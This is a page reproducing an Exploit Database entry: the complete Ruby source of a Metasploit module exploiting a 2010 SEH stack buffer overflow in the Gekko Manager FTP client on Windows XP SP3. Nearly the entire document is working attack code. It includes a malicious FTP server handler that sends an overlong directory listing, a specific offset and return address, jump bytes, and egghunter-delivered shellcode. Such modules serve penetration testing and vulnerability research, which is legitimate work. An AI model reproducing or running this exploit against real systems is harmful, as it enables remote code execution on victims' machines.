Gekko Manager FTP Client – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16728/

• ##
  # $Id: gekkomgr_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  	include Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Gekko Manager FTP Client Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Gekko Manager ftp client, triggered when
  				processing the response received after sending a LIST request. If this response contains
  				a long filename, a buffer overflow occurs, overwriting a structured exception handler.
  			},
  			'Author' 	 =>
  				[
  					'nullthreat',	# found the bug
  					'corelanc0d3r',	# wrote the exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'OSVDB', '68641'],
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'XP SP3 Universal', { 'Offset' => 376, 'Ret' => 0x00553C72} ],# ppr Gekko manager.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  	end
  
  	#---------------------------------------------------------------------------------
  
  	def setup
  		super
  		badchars = "\x00\xff\x0d\x5c\x2f\x0a"
  		eggoptions =
  		{
  		:checksum => true,
  		:eggtag => "W00T"
  		}
  		@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
  
  		enchunter = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], @hunter, ::Msf::Module::PlatformList.win32, badchars)
  		@hunter = enchunter
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_pass(c,arg)
  		c.put("230 OK #{@egg}\r\n")
  		return
  	end
  
  	def on_client_command_list(c,arg)
  		conn = establish_data_connection(c)
  		if(not conn)
  			c.put("425 Can't build data connection\r\n")
  			return
  		end
  		print_status(" - Data connection set up")
  
  		code = 150
  		c.put("#{code} Here comes the directory listing.\r\n")
  		code = 226
  		c.put("#{code} Directory send ok.\r\n")
  
  		#Setup for the shellcode
  		offset_to_nseh = target['Offset']
  		jmpback = "\xeb\x8d\xfe\xff\xff"
  		nseh = "\xeb\xf9\x41\x41"
  		seh = [target.ret].pack('V')
  		strfile = "A" * (offset_to_nseh-@hunter.length-5)
  		strfile << @hunter
  		strfile << jmpback
  		strfile << nseh
  		strfile << seh
  
  		print_status(" - Sending directory list via data connection")
  		dirlist = "-rw-rw-r--1 1176 1176 1060 Apr 23 23:17#{strfile}.txt\r\n\r\n"
  		conn.put(dirlist)
  		conn.close
  		print_status(" - Payload sent, wait for hunter...")
  		return
  	end
  
  end